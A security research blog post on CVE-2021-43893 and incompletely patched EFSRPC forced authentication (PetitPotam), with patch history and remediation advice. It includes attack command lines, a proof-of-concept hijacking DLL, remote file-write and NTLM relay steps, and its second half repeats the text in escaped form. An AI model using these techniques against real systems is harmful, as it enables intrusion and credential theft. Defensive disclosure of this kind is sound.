On December 14, 2021, during the [Log4Shell](<https://www.rapid7.com/blog/post/2021/12/15/the-everypersons-guide-to-log4shell-cve-2021-44228/>) chaos, Microsoft published [CVE-2021-43893](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43893>), a remote privilege escalation vulnerability affecting the Windows Encrypted File System (EFS). The vulnerability was credited to [James Forshaw](<https://twitter.com/tiraniddo>) of [Google Project Zero](<https://googleprojectzero.blogspot.com/p/about-project-zero.html>), but perhaps owing to the Log4Shell atmosphere, the vulnerability gained little to no attention.
On January 13, 2022, Forshaw [tweeted](<https://twitter.com/tiraniddo/status/1481633916507209737?s=20&t=P1xWmHiiDap39HipKqbHGg>) about the vulnerability.

The tweet suggests that CVE-2021-43893 was only issued a partial fix in the December 2021 update and that authenticated and remote users could still write arbitrary files on domain controllers. James linked to the Project Zero [bug tracker](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2228>), where an extended writeup and some proof-of-concept code was stored.
This vulnerability was of particular interest to me, because I had recently discovered a local privilege escalation (LPE) using file planting in a Windows product. The vulnerable product could reasonably be deployed on a system with unconstrained delegation, which meant I could use CVE-2021-43893 to remotely plant the file as a low-privileged _remote_ user, turning my LPE into RCE.
I set out to investigate if the remote file-writing aspect of James Forshaw’s bug was truly unpatched. The investigation resulted in a few interesting observations:
* Low-privileged user remote file-writing was patched in the December update. However, before the December update, a remote low-privileged user really could write arbitrary files on system-assigned unconstrained delegation.
* Forced authentication and relaying are still not completely patched. Relay attacks initiated on the `efsrpc` named pipe have been known since inclusion in [PetitPotam](<https://github.com/topotam/PetitPotam>) in [July 2021](<https://github.com/topotam/PetitPotam/commit/d3a3e0ccbe22432a30509df3551a7766bb89f706>). The issue seems to persist despite multiple patch attempts.
Although the file upload aspect of this vulnerability has been patched, I found the vulnerability quite interesting. The vulnerability is certainly limited by the restrictions on where a low-privileged user can create files on a Domain Controller, and maybe that is why the vulnerability didn’t receive more attention. But as I touched upon, it can be paired with a local vulnerability to achieve remote code execution, and as such, I thought it deserved more attention. I also have found the failure to properly patch forced authentication over the [EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) protocol to be worthy of more examination.
## Inadequate EFSPRC forced authentication patching: A brief history of PetitPotam
PetitPotam was released in the summer of 2021 and was widely associated with an [attack chain](<https://www.truesec.com/hub/blog/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory>) that starts as an unauthenticated and remote attacker and ends with domain administrator privileges. PetitPotam is **only** the beginning of that chain. It allows an attacker to force a victim Windows computer to authenticate to a third party (e.g. [MITRE ATT&CK T118 - forced authentication](<https://attack.mitre.org/techniques/T1187/>)). The full chain is interesting, but this discussion is only interested in the initial portion triggered by PetitPotam.
PetitPotam triggers forced authentication using the EFSRPC protocol. The original implementation of the exploit performed the attack over the `lsarpc` named pipe. The attack is quite simple. Originally, PetitPotam sent the victim server an [`EfsRpcOpenFileRaw`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8>) request containing a [UNC file path](<https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats>). Using a UNC path such as `\\10.0.0.4\fake_share\fake_file` forces the victim server to reach out to the third-party server, 10.0.0.4 in this example, in order to read off of the desired file share. The third-party server can then tell the victim to authenticate in order to access the share, and the victim obliges. The result is the victim leaks their Net-NTLM hash. That’s the whole thing. We will later touch on what an attacker can do with this hash, but for this section, that’s all we need to know.
Microsoft first attempted to patch the EFSRPC forced authentication in August 2021 by blocking the use of `EfsRpcOpenFileRaw` over the `lsarpc` named pipe. To do this, they added logic to `efslsaext.dll`’s `EfsRpcOpenFileRaw_Downllevel` function to check for a value stored in the `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowOpenRawDL`. Because this registry key doesn’t exist by default, a typical configuration will always fail this check.

That patch was inadequate, because `EfsRpcOpenFileRaw` isn’t the only EFSRPC function that accepts a UNC file path as a parameter. PetitPotam was quickly [updated](<https://github.com/topotam/PetitPotam/commit/ea66c3f141b1ce3f97865518c87a9b53ebecdb7a>) to use `EfsRpcEncryptFileSrv`, and just like that, the patch was bypassed.
The patch also failed to recognize that the `lsarpc` named pipe wasn’t the only named pipe that EFSRPC can be executed over. The [`efsrpc`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451>) named pipe (among others) can also be used. `efsrpc` named pipe is slightly less desirable, since it requires the attacker to be authenticated, but the attack works over that pipe, **and** it doesn’t use the `EfsRpcOpenFileRaw_Downlevel` function. That means an attacker can also bypass the patch by switching named pipes.
As mentioned earlier, PetitPotam was updated in July 2021 to use the `efsrpc` named pipe. The following output shows PetitPotam forcing a Domain Controller patched through November 2021 to authenticate with an attacker controlled box running Responder.py (10.0.0.6) (I’ve left out the Responder bit since this is just meant to highlight the EFSRPC was available and unpatched for months).

Not only did Microsoft fail to patch the issue, but they didn’t issue follow-up patches for months. They also haven’t updated their advisory indicating the vulnerability has been exploited in the wild, despite its inclusion in CISA’s [Known Exploited Vulnerability Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).

In December 2021, Microsoft released a patch for a different EFSRPC vulnerability: [CVE-2021-43217](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43217>). As part of the remediation for that issue, [Microsoft implemented](<https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002>) some hardening measures on EFSRPC communication. In particular, EFSRPC clients would need to use [`RPC_C_AUTHN_LEVEL_PKT_PRIVACY`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73>) when using EFSRPC. If the client fails to do so, then the client is rejected and a Windows application event is generated.

At the time of the December patch, PetitPotam didn’t use this specific setting. However, a quick [update](<https://github.com/topotam/PetitPotam/commit/c3accf0875729ffabac13692841e0a671f96d0f2>) allowed the exploit to comply with the new requirement and get back to leaking machine account NTLM hashes of fully patched Windows machines.
## CVE-2021-43893: Windows EFS remote file upload
James Forshaw’s CVE-2021-43893 dives deeper into the EFSRPC functionality, but the heart of the issue is still a UNC file path problem. PetitPotam’s UNC path pointed to an external server, but CVE-2021-43893 points internally using the UNC path: `\\.\C:\`. Using a UNC path that points to the victim’s local file system allows attackers to create files and directories on the victim file system.
There are two major caveats to this vulnerability. First, the file-writing aspect of this vulnerability only appears to work on systems with unconstrained delegation. That’s fine if you are only interested in Domain Controllers, but less good if you are only interested in workstations.
Second, the victim server is impersonating the attacker when the file manipulation occurs. This means a low-privileged attacker can only write to the places where they have permission (e.g. `C:\ProgramData\`). Therefore, exploitation resulting in code execution is not a given. Still, while code execution isn’t guaranteed, there are many plausible scenarios that could lead there.
### A plausible scenario leading to RCE using CVE-2021-43893
My interest in this vulnerability started with a local privilege escalation that I wanted to convert into remote code execution as a higher-privileged user. We can’t yet share the LPE as it’s still unpatched, but we can create a plausible scenario that demonstrates the ability to achieve code execution.
Microsoft has long maintained that Microsoft services vulnerable to [DLL planting](<https://itm4n.github.io/windows-dll-hijacking-clarified/>) via a world writable `%PATH%` directory are **[won’t-fix](<https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/>)** low-security issues — a weird position given the effort it would take to fix such issues. But regardless, exploiting world-writable `%PATH` to escalate privileges via a Windows service ([MITRE ATT&CK - Hijack Execution Flow: DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001/>)) is a useful technique when it’s [available](<https://github.com/rapid7/metasploit-framework/blob/1499b1988e0f6c6cb541e715cf7a3dc43d5563f3/modules/exploits/windows/local/srclient_dll_hijacking.rb>).
There’s a well-known product that installs itself into a world-writable directory: [Python 2.7](<https://www.python.org/downloads/release/python-2718/>), all the way through it’s final release 2.7.18.
C:\Users\administrator>icacls.exe C:\Python27\
C:\Python27\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
BUILTIN\Users:(I)(CI)(AD)
BUILTIN\Users:(I)(CI)(WD)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
The Python 2.7 installer drops files into `C:\Python27\` and provides the user with the following instructions:
Besides using the automatically created start menu entry for the Python interpreter, you might want to start Python in the DOS prompt. To make this work, you need to set your %PATH% environment variable to include the directory of your Python distribution, delimited by a semicolon from other entries. An example variable could look like this (assuming the first two entries are Windows’ default):
C:\WINDOWS\system32;C:\WINDOWS;C:\Python25
Typing python on your command prompt will now fire up the Python interpreter. Thus, you can also execute your scripts with command line options, see Command line documentation.
Following these instructions, we now have a world-writable directory in `%PATH%` — which is, of course, the exploitable condition we were looking for. Now we just have to find a Windows service that will search for a missing DLL in `C:\Python27\`. I quickly accomplished this task by restarting all the running services on a test Windows Server 2019 and watching [procmon](<https://docs.microsoft.com/en-us/sysinternals/downloads/procmon>). I found a number of services will search `C:\Python27\` for:
* fveapi.dll
* cdpsgshims.dll
To exploit this, we just need to drop a “malicious” DLL named `fveapi.dll` or `cdpsgshims.dll` in `C:\Python27`. The DLL will be loaded when a vulnerable service restarts or the server reboots.
For this simple example, the “malicious” dll just creates the file `C:\r7.txt`:
#include <Windows.h>
HANDLE hThread;
DWORD dwThread;
DWORD WINAPI doCreateFile(LPVOID)
{
HANDLE createFile = CreateFileW(L"C:\\r7.txt", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(createFile);
return 0;
}
BOOL APIENTRY DllMain( HMODULE, DWORD ul_reason_for_call, LPVOID)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, 0, doCreateFile, NULL, 0, &dwThread);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
After compiling the DLL, an attacker can remotely drop the file into `C:\Python27` using CVE-2021-43893. The following is the output from our [refactored and updated version](<https://github.com/jbaines-r7/blankspace>) of Forshaw’s original proof of concept. The attacker is attempting to remotely write the DLL on 10.0.0.6 (vulnerable.okhuman.ninja):

The attack yields the desired output, and the file is written to C:\Python27\ on the remote target.

Below is the Procmon output demonstrating successful code execution as `NT AUTHORITY\ SYSTEM` when the “DFS Replication” service is restarted. Note that the malicious DLL is loaded and the file “C:\r7.txt” is created.

Do many administrators install Python 2.7 on their Domain Controller? I hope not. That wasn’t really the point. The point is that exploitation using this technique is plausible and worthy of our collective attention to ensure that it gets patched and monitored for exploitation.
### What can a higher-privileged user do?
Oddly, administrators can do anything a low-level user can do except write data to files. When the administrator attempts to write to a file using Forshaw’s ::DATA stream technique, the result is an ACCESS DENIED error. Candidly, I didn’t investigate why.
However, it is interesting to note that the administrative user can remotely overwrite all files. This doesn’t serve much purpose from an offensive standpoint, but would serve as an easy, low-effort [wiper](<https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/033/904/original/Talos_WiperWhitepaper.v3.pdf?1525893980>) or data destruction attack. Here is a silly example of remotely overwriting calc.exe from an administrator account.

C:\ProgramData>
As you can see from the output, the tool failed with status code 5 (Access Denied). However, `calc.exe` on the remote device was successfully overwritten.

Technically speaking, this doesn’t really represent a security boundary being crossed. Administrators typically have access to \host\C$ or \host\admin$, but the difference in behavior seemed worth mentioning. I’d also note that as of February 2022, administrative users can still do this using `\\localhost\C$\Windows\System32\calc.exe`.
Forshaw also mentioned in his original writeup, and I confirmed, that this attack generates the attacking user’s roaming profile on the victim server. That could be a pretty interesting file-upload vector if the Active Directory environment synchronizes roaming directories. Again, I didn’t investigate that any further, but it could be useful in the correct environment.
### Forced authentication still not entirely patched
The December 2021 patch brought multiple changes to `efslsaext.dll` and resulted in partial mitigation of [CVE-2021-43893](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43893>). One of the changes was the introduction of two new functions: `EfsEnsureLocalPath` and `EfsEnsureLocalHandle`. `EfsEnsureLocalPath` grabs a HANDLE for the attacker provided file using [CreateW](<https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew>). The HANDLE is then passed to `EfsEnsureLocalHandle`, which passes the HANDLE to `NtQueryVolumeInformationFile` to validate the characteristics flag doesn’t contain [FILE_REMOTE_DEVICE](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/616b66d5-b335-4e1c-8f87-b4a55e8d3e4a>).

Because the patch **still** opens a HANDLE using the attacker-controlled file path, EFSRPC _remains_ vulnerable to forced authentication and relay attacks of the machine account.
Demonstration of the forced authentication and relay does not require the complicated attack often associated with PetitPotam. We just need three boxes:
The Relay (10.0.0.3): A Linux system running `ntlmrelayx.py`.
The Attacker (10.0.0.6): A fully patched Windows 10 system.
The Victim (10.0.0.12): A fully patched Windows Server 2019 system.
The only caveat for this example is that the victim’s machine account (aka [computer account](<https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/service-accounts-computer>)) is assigned to the `Domain Admins` group. Below, you can see the machine account for 10.0.0.12, YEET$, is a member of `Domain Admins`.

This may not be a common configuration, but it’s common enough that it’s been the subject of a [couple](<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/pass-the-hash-with-machine-accounts>) [excellent](<https://pentestlab.blog/2022/02/01/machine-accounts/>) writeups.
The attack is launched by a low-privileged user on 10.0.0.6 using the `blankspace.exe` proof of concept. The attack will force 10.0.0.12 (yet.okhuman.ninja) to authenticate to the attacker relay at 10.0.0.3

Once you have that, a low-privileged remote attacker can use EFSRPC to relay and escalate to other machines. However, the attack isn’t exactly silent. On 10.0.0.6, event ID 4624 was created when the 10.0.0.3 relay logged in using the YEET$ machine account.

## Final thoughts and remediation
What began as an investigation into using an unpatched remote file-write vulnerability ended up being a history lesson in EFSRPC patches. The remote file-write vulnerability that I originally wanted to use has been patched, but we demonstrated the forced authentication issue hasn’t been adequately fixed. There is no doubt that Windows developers have a tough job. However, a lot of the issues discussed here could have been easily avoided with a reasonable patch in August 2021. The fact that they persist today says a lot about the current state of Windows security.
To mitigate these issues as best as possible, as always, ensure your systems are successfully updated monthly. Microsoft has released multiple advisories with recommendations regarding NTLM Relay-based attacks (see: [Microsoft Security Advisory 974926
](<https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2009/974926>) and [KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). The most important advice is to ensure SMBv1 no longer exists in your environment and to require SMB signing.
Some other general advice:
* Monitoring for [event ID 4420](<https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002>) in Windows application event logs can help detect EFSRPC-based hacking tools.
* Monitor for [event ID 4624](<https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624>) in Windows security event logs for remote machine account authentication.
* Audit machine accounts to ensure they are not members of Domain Admins.
If possible, audit %PATH% of critical systems to ensure no world-writable path exists.

The vulnerability was credited to [James Forshaw](<https://twitter.com/tiraniddo>) of [Google Project Zero](<https://googleprojectzero.blogspot.com/p/about-project-zero.html>), but perhaps owing to the Log4Shell atmosphere, the vulnerability gained little to no attention.\n\nOn January 13, 2022, Forshaw [tweeted](<https://twitter.com/tiraniddo/status/1481633916507209737?s=20&t=P1xWmHiiDap39HipKqbHGg>) about the vulnerability.\n\n\n\nThe tweet suggests that CVE-2021-43893 was only issued a partial fix in the December 2021 update and that authenticated and remote users could still write arbitrary files on domain controllers. James linked to the Project Zero [bug tracker](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2228>), where an extended writeup and some proof-of-concept code was stored.\n\nThis vulnerability was of particular interest to me, because I had recently discovered a local privilege escalation (LPE) using file planting in a Windows product. The vulnerable product could reasonably be deployed on a system with unconstrained delegation, which meant I could use CVE-2021-43893 to remotely plant the file as a low-privileged _remote_ user, turning my LPE into RCE.\n\nI set out to investigate if the remote file-writing aspect of James Forshaw\u2019s bug was truly unpatched. The investigation resulted in a few interesting observations:\n\n * Low-privileged user remote file-writing was patched in the December update. However, before the December update, a remote low-privileged user really could write arbitrary files on system-assigned unconstrained delegation.\n * Forced authentication and relaying are still not completely patched. Relay attacks initiated on the `efsrpc` named pipe have been known since inclusion in [PetitPotam](<https://github.com/topotam/PetitPotam>) in [July 2021](<https://github.com/topotam/PetitPotam/commit/d3a3e0ccbe22432a30509df3551a7766bb89f706>). The issue seems to persist despite multiple patch attempts.\n\nAlthough the file upload aspect of this vulnerability has been patched, I found the vulnerability quite interesting. The vulnerability is certainly limited by the restrictions on where a low-privileged user can create files on a Domain Controller, and maybe that is why the vulnerability didn\u2019t receive more attention. But as I touched upon, it can be paired with a local vulnerability to achieve remote code execution, and as such, I thought it deserved more attention. I also have found the failure to properly patch forced authentication over the [EFSRPC](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31>) protocol to be worthy of more examination.\n\n## Inadequate EFSPRC forced authentication patching: A brief history of PetitPotam\n\nPetitPotam was released in the summer of 2021 and was widely associated with an [attack chain](<https://www.truesec.com/hub/blog/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory>) that starts as an unauthenticated and remote attacker and ends with domain administrator privileges. PetitPotam is **only** the beginning of that chain. It allows an attacker to force a victim Windows computer to authenticate to a third party (e.g. [MITRE ATT&CK T118 - forced authentication](<https://attack.mitre.org/techniques/T1187/>)). The full chain is interesting, but this discussion is only interested in the initial portion triggered by PetitPotam.\n\nPetitPotam triggers forced authentication using the EFSRPC protocol. The original implementation of the exploit performed the attack over the `lsarpc` named pipe. The attack is quite simple. Originally, PetitPotam sent the victim server an [`EfsRpcOpenFileRaw`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8>) request containing a [UNC file path](<https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats>). Using a UNC path such as `\\\\10.0.0.4\\fake_share\\fake_file` forces the victim server to reach out to the third-party server, 10.0.0.4 in this example, in order to read off of the desired file share. The third-party server can then tell the victim to authenticate in order to access the share, and the victim obliges. The result is the victim leaks their Net-NTLM hash. That\u2019s the whole thing. We will later touch on what an attacker can do with this hash, but for this section, that\u2019s all we need to know.\n\nMicrosoft first attempted to patch the EFSRPC forced authentication in August 2021 by blocking the use of `EfsRpcOpenFileRaw` over the `lsarpc` named pipe. To do this, they added logic to `efslsaext.dll`\u2019s `EfsRpcOpenFileRaw_Downllevel` function to check for a value stored in the `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EFS\\AllowOpenRawDL`. Because this registry key doesn\u2019t exist by default, a typical configuration will always fail this check.\n\n\n\nThat patch was inadequate, because `EfsRpcOpenFileRaw` isn\u2019t the only EFSRPC function that accepts a UNC file path as a parameter. PetitPotam was quickly [updated](<https://github.com/topotam/PetitPotam/commit/ea66c3f141b1ce3f97865518c87a9b53ebecdb7a>) to use `EfsRpcEncryptFileSrv`, and just like that, the patch was bypassed.\n\nThe patch also failed to recognize that the `lsarpc` named pipe wasn\u2019t the only named pipe that EFSRPC can be executed over. The [`efsrpc`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451>) named pipe (among others) can also be used. `efsrpc` named pipe is slightly less desirable, since it requires the attacker to be authenticated, but the attack works over that pipe, **and** it doesn\u2019t use the `EfsRpcOpenFileRaw_Downlevel` function. That means an attacker can also bypass the patch by switching named pipes.\n\nAs mentioned earlier, PetitPotam was updated in July 2021 to use the `efsrpc` named pipe. The following output shows PetitPotam forcing a Domain Controller patched through November 2021 to authenticate with an attacker controlled box running Responder.py (10.0.0.6) (I\u2019ve left out the Responder bit since this is just meant to highlight the EFSRPC was available and unpatched for months).\n \n \n albinolobster@ubuntu:~/impacket/examples$ python3 petitpotam.py -pipe efsr -u 'lowlevel' -p \u2018cheesed00dle!' -d okhuman.ninja 10.0.0.6 10.0.0.5 \n \n \n ___ _ _ _ ___ _ \n | _ \\ ___ | |_ (_) | |_ | _ \\ ___ | |_ __ _ _ __ \n | _/ / -_) | _| | | | _| | _/ / _ \\ | _| / _` | | ' \\ \n _|_|_ \\___| _\\__| _|_|_ _\\__| _|_|_ \\___/ _\\__| \\__,_| |_|_|_| \n _| \"\"\" |_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_| \"\"\" |_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"| \n \"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-' \n \n PoC to elicit machine account authentication via some MS-EFSRPC functions\n by topotam (@topotam77)\n \n Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN\n \n \n \n [-] Connecting to ncacn_np:10.0.0.5[\\PIPE\\efsrpc]\n [+] Connected!\n [+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d\n [+] Successfully bound!\n [-] Sending EfsRpcOpenFileRaw!\n [+] Got expected ERROR_BAD_NETPATH exception!!\n [+] Attack worked!\n \n\nNot only did Microsoft fail to patch the issue, but they didn\u2019t issue follow-up patches for months. They also haven\u2019t updated their advisory indicating the vulnerability has been exploited in the wild, despite its inclusion in CISA\u2019s [Known Exploited Vulnerability Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n\n\nIn December 2021, Microsoft released a patch for a different EFSRPC vulnerability: [CVE-2021-43217](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43217>). As part of the remediation for that issue, [Microsoft implemented](<https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002>) some hardening measures on EFSRPC communication. In particular, EFSRPC clients would need to use [`RPC_C_AUTHN_LEVEL_PKT_PRIVACY`](<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a-4868-8e5b-2a850d40dc73>) when using EFSRPC. If the client fails to do so, then the client is rejected and a Windows application event is generated.\n\n\n\nAt the time of the December patch, PetitPotam didn\u2019t use this specific setting. However, a quick [update](<https://github.com/topotam/PetitPotam/commit/c3accf0875729ffabac13692841e0a671f96d0f2>) allowed the exploit to comply with the new requirement and get back to leaking machine account NTLM hashes of fully patched Windows machines.\n\n## CVE-2021-43893: Windows EFS remote file upload\n\nJames Forshaw\u2019s CVE-2021-43893 dives deeper into the EFSRPC functionality, but the heart of the issue is still a UNC file path problem. PetitPotam\u2019s UNC path pointed to an external server, but CVE-2021-43893 points internally using the UNC path: `\\\\.\\C:\\`. Using a UNC path that points to the victim\u2019s local file system allows attackers to create files and directories on the victim file system.\n\nThere are two major caveats to this vulnerability. First, the file-writing aspect of this vulnerability only appears to work on systems with unconstrained delegation. That\u2019s fine if you are only interested in Domain Controllers, but less good if you are only interested in workstations.\n\nSecond, the victim server is impersonating the attacker when the file manipulation occurs. This means a low-privileged attacker can only write to the places where they have permission (e.g. `C:\\ProgramData\\`). Therefore, exploitation resulting in code execution is not a given. Still, while code execution isn\u2019t guaranteed, there are many plausible scenarios that could lead there.\n\n### A plausible scenario leading to RCE using CVE-2021-43893\n\nMy interest in this vulnerability started with a local privilege escalation that I wanted to convert into remote code execution as a higher-privileged user. We can\u2019t yet share the LPE as it\u2019s still unpatched, but we can create a plausible scenario that demonstrates the ability to achieve code execution.\n\nMicrosoft has long maintained that Microsoft services vulnerable to [DLL planting](<https://itm4n.github.io/windows-dll-hijacking-clarified/>) via a world writable `%PATH%` directory are **[won\u2019t-fix](<https://msrc-blog.microsoft.com/2018/04/04/triaging-a-dll-planting-vulnerability/>)** low-security issues \u2014 a weird position given the effort it would take to fix such issues. But regardless, exploiting world-writable `%PATH` to escalate privileges via a Windows service ([MITRE ATT&CK - Hijack Execution Flow: DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001/>)) is a useful technique when it\u2019s [available](<https://github.com/rapid7/metasploit-framework/blob/1499b1988e0f6c6cb541e715cf7a3dc43d5563f3/modules/exploits/windows/local/srclient_dll_hijacking.rb>).\n\nThere\u2019s a well-known product that installs itself into a world-writable directory: [Python 2.7](<https://www.python.org/downloads/release/python-2718/>), all the way through it\u2019s final release 2.7.18.\n \n \n C:\\Users\\administrator>icacls.exe C:\\Python27\\\n C:\\Python27\\ NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n BUILTIN\\Administrators:(I)(OI)(CI)(F)\n BUILTIN\\Users:(I)(OI)(CI)(RX)\n BUILTIN\\Users:(I)(CI)(AD)\n BUILTIN\\Users:(I)(CI)(WD)\n CREATOR OWNER:(I)(OI)(CI)(IO)(F)\n \n Successfully processed 1 files; Failed processing 0 files\n \n\nThe Python 2.7 installer drops files into `C:\\Python27\\` and provides the user with the following instructions:\n \n \n Besides using the automatically created start menu entry for the Python interpreter, you might want to start Python in the DOS prompt. To make this work, you need to set your %PATH% environment variable to include the directory of your Python distribution, delimited by a semicolon from other entries. An example variable could look like this (assuming the first two entries are Windows\u2019 default):\n \n C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\Python25\n \n Typing python on your command prompt will now fire up the Python interpreter. Thus, you can also execute your scripts with command line options, see Command line documentation.\n \n\nFollowing these instructions, we now have a world-writable directory in `%PATH%` \u2014 which is, of course, the exploitable condition we were looking for. Now we just have to find a Windows service that will search for a missing DLL in `C:\\Python27\\`. I quickly accomplished this task by restarting all the running services on a test Windows Server 2019 and watching [procmon](<https://docs.microsoft.com/en-us/sysinternals/downloads/procmon>). I found a number of services will search `C:\\Python27\\` for:\n\n * fveapi.dll\n * cdpsgshims.dll\n\nTo exploit this, we just need to drop a \u201cmalicious\u201d DLL named `fveapi.dll` or `cdpsgshims.dll` in `C:\\Python27`. The DLL will be loaded when a vulnerable service restarts or the server reboots.\n\nFor this simple example, the \u201cmalicious\u201d dll just creates the file `C:\\r7.txt`:\n \n \n #include <Windows.h>\n \n HANDLE hThread;\n DWORD dwThread;\n \n DWORD WINAPI doCreateFile(LPVOID)\n {\n HANDLE createFile = CreateFileW(L\"C:\\\\r7.txt\", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);\n CloseHandle(createFile);\n return 0;\n }\n \n BOOL APIENTRY DllMain( HMODULE, DWORD ul_reason_for_call, LPVOID)\n {\n switch (ul_reason_for_call)\n {\n case DLL_PROCESS_ATTACH:\n hThread = CreateThread(NULL, 0, doCreateFile, NULL, 0, &dwThread);\n break;\n case DLL_THREAD_ATTACH:\n case DLL_THREAD_DETACH:\n case DLL_PROCESS_DETACH:\n break;\n }\n return TRUE;\n }\n \n\nAfter compiling the DLL, an attacker can remotely drop the file into `C:\\Python27` using CVE-2021-43893. The following is the output from our [refactored and updated version](<https://github.com/jbaines-r7/blankspace>) of Forshaw\u2019s original proof of concept. The attacker is attempting to remotely write the DLL on 10.0.0.6 (vulnerable.okhuman.ninja):\n \n \n C:\\ProgramData>whoami\n okhuman\\lowlevel\n \n C:\\ProgramData>.\\blankspace.exe -r vulnerable.okhuman.ninja -f \\\\.\\C:\\Python27\\fveapi.dll -i ./dll_inject64.dll\n ____ ___ __ ____\n /\\ _`\\ /\\_ \\ /\\ \\ /\\ _`\\\n \\ \\ \\L\\ \\//\\ \\ __ ___\\ \\ \\/'\\ \\ \\,\\L\\_\\ _____ __ ___ __\n \\ \\ _ <'\\ \\ \\ /'__`\\ /' _ `\\ \\ , < \\/_\\__ \\ /\\ '__`\\ /'__`\\ /'___\\ /'__`\\\n \\ \\ \\L\\ \\\\_\\ \\_/\\ \\L\\.\\_/\\ \\/\\ \\ \\ \\\\`\\ /\\ \\L\\ \\ \\ \\L\\ \\/\\ \\L\\.\\_/\\ \\__//\\ __/\n \\ \\____//\\____\\ \\__/.\\_\\ \\_\\ \\_\\ \\_\\ \\_\\ \\ `\\____\\ \\ ,__/\\ \\__/.\\_\\ \\____\\ \\____\\\n \\/___/ \\/____/\\/__/\\/_/\\/_/\\/_/\\/_/\\/_/ \\/_____/\\ \\ \\/ \\/__/\\/_/\\/____/\\/____/\n \\ \\_\\\n \\/_/\n [+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja\n [+] Attempting to write to \\\\.\\C:\\Python27\\fveapi.dll\n [+] Encrypt the empty remote file...\n [+] Reading the encrypted remote file object\n [+] Read back 1244 bytes\n [+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream\n [+] Decrypt the the remote file\n [!] Success!\n \n C:\\ProgramData>\n \n\nThe attack yields the desired output, and the file is written to C:\\Python27\\ on the remote target.\n\n\n\nBelow is the Procmon output demonstrating successful code execution as `NT AUTHORITY\\ SYSTEM` when the \u201cDFS Replication\u201d service is restarted. Note that the malicious DLL is loaded and the file \u201cC:\\r7.txt\u201d is created.\n\n\n\nDo many administrators install Python 2.7 on their Domain Controller? I hope not. That wasn\u2019t really the point. The point is that exploitation using this technique is plausible and worthy of our collective attention to ensure that it gets patched and monitored for exploitation.\n\n### What can a higher-privileged user do?\n\nOddly, administrators can do anything a low-level user can do except write data to files. When the administrator attempts to write to a file using Forshaw\u2019s ::DATA stream technique, the result is an ACCESS DENIED error. Candidly, I didn\u2019t investigate 